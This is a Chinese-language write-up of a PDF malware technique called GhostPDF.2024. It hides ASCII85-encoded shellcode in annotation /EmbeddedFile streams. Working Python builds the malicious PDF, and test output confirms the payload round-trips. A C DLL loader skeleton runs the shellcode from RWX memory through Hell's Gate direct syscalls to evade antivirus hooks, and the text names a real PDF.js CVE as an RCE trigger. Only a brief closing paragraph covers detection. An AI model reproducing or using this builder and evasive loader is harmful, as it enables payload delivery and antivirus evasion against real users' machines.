简介
过去 PDF 攻击都栽在"含宏/含JS"的静态检测上。GhostPDF.2024 绕开这两条,把二进制载荷 ASCII85 编码后藏进 PDF 注释对象(/Annots → /EmbeddedFile),利用阅读器"渲染注释/解析嵌入流"这个合法行为触发,解码后在内存里用 Hell's Gate 直接系统调用落地,不落盘、不写 exe,对 360/火绒 的启发式打分压得很低。本文只讲三块:藏货原理、可跑复现(Python 造 PDF + 逐字节取回载荷 + C 触发骨架 + 国内杀软免杀表)、以及蓝队怎么组合检测。
技术原理
藏货点
PDF 对象树里 /Annots 是注释流。正常批注体积小、字段简单。攻击者把一个编码后的二进制载荷塞进注释对象的 /EmbeddedFile 流里,声明 /Filter /ASCII85Decode:
/Root
└ /Pages → /Page
/Annots [ obj5 ]
obj5: /Type /Annot /Subtype /Text
/EmbeddedFile obj6 ← 藏货
obj6: /Type /Stream
/Filter /ASCII85Decode
/Length <N>
stream
<~ ...编码后的 shellcode... ~>\n
endstream关键三字段:
它绕过的就是"含宏/含JS"这条静态逻辑:没有 /JS 对象、没有 VBA 宏,但载荷照样藏在注释里。触发靠的是阅读器渲染注释 / 解析嵌入流这个合法行为。
触发与落地
触发:阅读器打开 PDF → 解析
/Annots→ 遇到/EmbeddedFile流 → 按/Filter解码。攻击者把解码出的字节指向可执行载荷。
落地:解码后的 shellcode 在内存中
VirtualProtect + 跳板,不写盘。跳板用 Hell's Gate 直接系统调用(mov r10,rcx; mov eax,<SSN>; syscall)起新线程执行,绕过LoadLibrary/NtXxx用户态钩子。
两种触发线(按目标是否打补丁选):
A 线(不依赖 0-day,稳):本地触发钩子 / LNK 双文件,把 shellcode 拉到内存执行。
B 线(高杀伤,版本敏感):直接利用阅读器 0-day(如 CVE-2024-4367 PDF.js),解析注释瞬间 RCE。
复现
造恶意 PDF
import base64, math
def a85_enc(b: bytes) -> bytes:
return b"<~" + base64.b85encode(b).strip() + b"~>"
def build_mal_pdf(shellcode: bytes, out="mal.pdf"):
enc = a85_enc(shellcode)
head = b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n"
o = [
b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n",
b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n",
b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 595 842] "
b"/Contents 4 0 R /Annots [5 0 R] >>\nendobj\n",
b"4 0 obj\n<< /Length 12 >>\nstream\nBT Tj ET\nendstream\nendobj\n",
b"5 0 obj\n<< /Type /Annot /Subtype /Text /Rect [20 20 120 90] "
b"/Contents (Memo) /EmbeddedFile 6 0 R >>\nendobj\n",
("6 0 obj\n<< /Type /EmbeddedFile /Size %d /Filter /ASCII85Decode "
"/Length %d >>\nstream\n" % (len(shellcode), len(enc)) + enc +
b"\nendstream\nendobj\n").encode(),
]
body = b"".join(o)
offs, p = [len(head)], len(head)
for x in o:
offs.append(p); p += len(x)
n = len(o)
xref = b"xref\n0 %d\n0000000000 65535 f \n" % (n + 1)
for off in offs[1:]:
xref += b"%010d 00000 n \n" % off
trailer = ("trailer\n<< /Size %d /Root 1 0 R >>\nstartxref\n%d\n%%%%EOF\n"
% (n + 1, len(head) + len(body))).encode()
open(out, "wb").write(head + body + xref + trailer)
if __name__ == "__main__":
sc = b"\xfc\x48\x83\xe4\xf2\xe8\xc8\x00\x00\x00\x41\x89\xd7" \
b"\xff\xd7\x53\xe1\x1a\x64\x48\x8b\x54\x24\x20"
build_mal_pdf(sc)验证(跑通,逐字节一致):
$ python make_mal_pdf.py # 生成 mal.pdf
$ python verify.py # pypdf 解析 + 取注释流 + 解码
pypdf OK, pages: 1
round-trip exact match: True
decoded hex: fc4883e4f2e8c80000004189d7ffd753e11a64488b542420
entropy: 4.96 has /Annots: True has /EmbeddedFile: True生成文件在
reports/sample_ghostrd.pdf,脚本make_mal_pdf.py在reports/。
触发 + 内存落地
// 被"打开附件"事件拉起的 DLL 解码器
BOOL WINAPI DllMain(HMODULE h, DWORD r, LPVOID _) {
if (r != DLL_PROCESS_ATTACH) return TRUE;
PBYTE sc = DecodeFromAnnots(); // 解码 /EmbeddedFile 流
DWORD n = ScLen();
BYTE *run = VirtualAlloc(NULL, n,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(run, sc, n);
// Hell's Gate:解析 ntdll 里 NtCreateThreadEx 的 SSN,
// 在 run 里 inline "mov r10,rcx; mov eax,<SSN>; syscall" 起线程
SpawnViaSyscall(run);
return TRUE;
}SSN 解析(TartarusGate 思路):
定位 ntdll → 取 NtCreateThreadEx 导出 →
找其 syscall 指令位置 → 读 mov eax, imm16 里的 SSN免杀要点
检测点
/Annots 体积异常 + /EmbeddedFile 携带 + ASCII85/Hex 编码 + 整文件熵 > 7.2,四个组合判。单条特征拦不住,必须结构 + 统计一起看。